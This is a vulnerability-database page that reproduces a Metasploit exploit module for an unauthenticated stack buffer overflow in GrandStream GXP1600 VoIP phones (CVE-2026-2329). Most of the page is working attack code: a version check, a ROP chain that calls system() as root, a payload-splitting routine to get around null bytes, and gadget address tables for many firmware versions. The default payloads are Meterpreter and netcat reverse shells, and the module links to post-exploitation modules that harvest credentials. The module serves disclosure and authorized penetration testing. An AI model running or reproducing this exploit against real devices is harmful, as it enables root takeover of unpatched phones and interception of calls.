Lucene search
K

GrandStream GXP1600 Unauthenticated Remote Code Execution

🗓️ 24 Feb 2026 18:57:48Reported by sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 416 Views

Unauthenticated RCE on GrandStream GXP1600 via /cgi-bin/api.values.get; affects six models below firmware 1.0.7.81.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GrandStream GXP1600 Unauthenticated Remote Code Execution',
        'Description' => %q{
          An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint
          /cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote
          code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models
          in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all
          firmware versions below version 1.0.7.81.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # Discovery, Analysis, Exploit
        ],
        'References' => [
          ['CVE', '2026-2329'],
          # Rapid7 advisory for CVE-2026-2329
          ['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
          # Vendor advisory for CVE-2026-2329 (GSVUL-2026-001)
          ['URL', 'https://psirt.grandstream.com/'],
          # Vendor release notes (PDF) for the fixed firmware version 1.0.7.81.
          ['URL', 'https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf']
        ],
        'DisclosureDate' => '2026-02-18',
        'Platform' => %w[linux unix],
        'Arch' => ARCH_CMD,
        'Privileged' => true, # /app/bin/gs_web runs as root
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        # NOTE: Tested with the following payloads:
        #   cmd/linux/http/armle/meterpreter_reverse_tcp
        #   cmd/unix/reverse_netcat
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/armle/meterpreter_reverse_tcp',
          'RPORT' => 80,
          'SSL' => false,
          # A writable directory on the target for fetch based payloads to write to.
          'FETCH_WRITABLE_DIR' => '/tmp',
          # Delete the fetch binary after execution.
          'FETCH_DELETE' => true
        },
        'Payload' => {
          'BadChars' => ':',
          'Encoder' => 'cmd/base64'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS],
          'RelatedModules' => [
            'post/linux/gather/grandstream_gxp1600_creds',
            'post/linux/capture/grandstream_gxp1600_sip'
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to web admin', '/']),
      ]
    )
  end

  def check
    version_id = '68'
    model_id = 'phone_model'

    server_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => "#{version_id}:#{model_id}"
      }
    )

    return CheckCode::Unknown('Connection failed') unless server_res

    return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200

    json_data = server_res.get_json_document

    version_str = json_data.dig('body', version_id)

    model_str = json_data.dig('body', model_id)

    return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank?

    # These 6 models all share the same firmware for the GXP1600 range.
    affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]

    if affected_models.include? model_str
      version = Rex::Version.new(version_str)

      # Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026.
      if version < Rex::Version.new('1.0.7.81')
        return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}")
      end
    end

    Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}")
  end

  def exploit
    version_id = '68'

    server_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => version_id
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to get version number') unless server_res&.code == 200

    json_data = server_res.get_json_document

    version_str = json_data.dig('body', version_id)

    rop_table = get_rop_table(version_str)

    fail_with(Failure::BadConfig, "No ROP table available for version #{version_str}") unless rop_table

    vprint_status("ROP Table: #{rop_table}")

    unless rop_table[:gadget3_call_exit]
      print_warning('No ROP gadget available to call exit(). The payload will work, but will crash and core dump the target gs_web process.')
    end

    pointer_size = 4

    rop = [
      :rand4, # padding
      # The vulnerable function returns via this function epilogue: POP {R4-R11,PC}
      # So we initially get control of registers r4 - r11, and then execute gadget1_blx_pop via the overwritten PC.
      rop_table[:address_data_section], # r4 -> .data segment
      :rand4, # r5
      :rand4, # r6
      :rand4, # r7
      :rand4, # r8
      :rand4, # r9
      :rand4, # r10
      :rand4, # r11
      rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
      :patch_offset2cmd, # r3 -> r0 + r3 == "/bin/sh ..."
      rop_table[:gadget2_add_str_add_str_pop], # pc -> add r0, r3, r0; str r7, [r4, #8]; add r6, r0, r6; str r6, [r4, #4]; pop {r4, r5, r6, r7, r8, pc};
      :rand4, # r4
      :rand4, # r5
      :rand4, # r6
      :rand4, # r7
      :rand4, # r8
      rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
      rop_table[:address_system_plt], # r3 -> system@plt
      rop_table[:gadget1_blx_pop], # pc -> blx r3; pop {r3, pc}
      :rand4, # r3
      rop_table[:gadget3_call_exit] || :rand4highnull # pc -> mov r0, 1; bl 0xbcd0 <exit@plt>
    ]

    overflow_buffer = Rex::Text.rand_text_alpha(64)

    rop.map! do |item|
      if item == :patch_offset2cmd
        # When the vulnerable function returns, r0 will point into the stack, 28 bytes before the start of our overflow
        # buffer. We use a gadget (gadget2_add_str_add_str_pop) to add r0 to an offset (held in r3), after this gadget
        # executes, r3 will point to the OS command we want to execute, which is located on the stack directly after
        # our ROP chain. The below offset is the value placed in r3 for this calculation.
        item = 28 + overflow_buffer.length + (rop.length * pointer_size)
      elsif item == :rand4
        item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first
      elsif item == :rand4highnull
        item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF
      end
      item
    end

    vprint_status("Encoded ARCH_CMD Payload: #{payload.encoded}")

    request_buffer = gen_buffer(
      rop.pack('V*') << payload.encoded,
      overflow_buffer
    )

    register_file_for_cleanup('/tmp/core.gz')

    register_dir_for_cleanup('/core')

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => request_buffer
      }
    )
  end

  # The vulnerability only allows for a single null terminator byte to be written during the overflow. To overcome this
  # limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request
  # parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can
  # be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null
  # byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.
  #
  # For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g.
  # "EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte)
  # we can trigger the overflow 5 times by structuring the input as follows:
  # "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE"
  # When the vulnerable function process this colon deliminated input, it will trigger the overflow 5 times, and each
  # time it will write a null byte at the end of the current identifier being processed. The final memory layout will
  # be the expected attacker controller byte sequence. Note, the lengths used in this example are contrived for brevity,
  # as the actual vulnerable function requires a 64 byte buffer to be overflowed for each invocation of the vulnerability.
  #
  # The gen_buffer method will take care of restructuring the input in the above described manner.
  def gen_buffer(input, line_padding = '')
    input << "\x00" unless input[input.length - 1] == "\x00"

    len = input.length

    lines = []

    input.reverse.each_byte do |chr|
      line = '1' * (len - 1)

      if chr.zero?
        line << ':'
      else
        line << [chr].pack('C')
      end

      len -= 1

      lines << line
    end

    res = []

    lines.each do |line|
      if line.end_with? ':'
        res << (line_padding + line)
      else
        res.last[line_padding.length + line.length - 1] = line[line.length - 1]
      end
    end

    res.join
  end

  def get_rop_table(version_str)
    rop_tables = {
      '1.0.7.80' =>
        {
          address_system_plt: 0x0000b868,
          address_data_section: 0x000224c8,
          gadget2_add_str_add_str_pop: 0x0000f110,
          gadget1_blx_pop: 0x0000c230,
          gadget3_call_exit: 0x0000ffc0
        },
      '1.0.7.79' =>
        {
          address_system_plt: 0x0000b73c,
          address_data_section: 0x00022490,
          gadget2_add_str_add_str_pop: 0x0000ef64,
          gadget1_blx_pop: 0x0000c0ec,
          gadget3_call_exit: 0x0000fe14
        },
      '1.0.7.74' =>
        {
          address_system_plt: 0x0000b73c,
          address_data_section: 0x00022490,
          gadget2_add_str_add_str_pop: 0x0000ef64,
          gadget1_blx_pop: 0x0000c0ec,
          gadget3_call_exit: 0x0000fe14
        },
      '1.0.7.70' => {
        address_system_plt: 0x0000b73c,
        address_data_section: 0x00022490,
        gadget2_add_str_add_str_pop: 0x0000ef64,
        gadget1_blx_pop: 0x0000c0ec,
        gadget3_call_exit: 0x0000fe14
      },
      '1.0.7.67' => {
        address_system_plt: 0x0000b6c4,
        address_data_section: 0x00021e6c,
        gadget2_add_str_add_str_pop: 0x0000ed7c,
        gadget1_blx_pop: 0x0000c05c,
        gadget3_call_exit: 0x0000fc2c
      },
      '1.0.7.64' => {
        address_system_plt: 0x0000b6c4,
        address_data_section: 0x00021e2c,
        gadget2_add_str_add_str_pop: 0x0000ed38,
        gadget1_blx_pop: 0x0000c05c,
        gadget3_call_exit: 0x0000fbe8
      },
      '1.0.7.56' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.50' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.49' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.33' => {
        address_system_plt: 0x0000bd10,
        address_data_section: 0x00021e0c,
        gadget2_add_str_add_str_pop: 0x00013ed4,
        gadget1_blx_pop: 0x0000c63c,
        gadget3_call_exit: nil
      },
      '1.0.7.27' => {
        address_system_plt: 0x0000bd10,
        address_data_section: 0x00021e0c,
        gadget2_add_str_add_str_pop: 0x00013ed4,
        gadget1_blx_pop: 0x0000c63c,
        gadget3_call_exit: nil
      },
      '1.0.7.24' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x00021948,
        gadget2_add_str_add_str_pop: 0x00013b2c,
        gadget1_blx_pop: 0x0000c600,
        gadget3_call_exit: nil
      },
      '1.0.7.18' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x00021470,
        gadget2_add_str_add_str_pop: 0x00013aec,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.13' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.6' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.3' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.5.3' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.4.152' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.4.140' => {
        address_system_plt: 0x0000c358,
        address_data_section: 0x00021454,
        gadget2_add_str_add_str_pop: 0x000137e8,
        gadget1_blx_pop: 0x0000c53c,
        gadget3_call_exit: nil
      },
      '1.0.4.132' => {
        address_system_plt: 0x0000c358,
        address_data_section: 0x00020c2c,
        gadget2_add_str_add_str_pop: 0x00013558,
        gadget1_blx_pop: 0x0000c53c,
        gadget3_call_exit: nil
      },
      '1.0.4.128' => { # Released August 3, 2018.
        address_system_plt: 0x0000c17c,
        address_data_section: 0x0001e9c4,
        gadget2_add_str_add_str_pop: 0x00011cc8,
        gadget1_blx_pop: 0x0000c360,
        gadget3_call_exit: nil
      }
    }

    rop_tables[version_str]
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 19:05Current
8.2High risk
Vulners AI Score8.2
CVSS 3.19.8
CVSS 49.3
EPSS0.40014
SSVC
416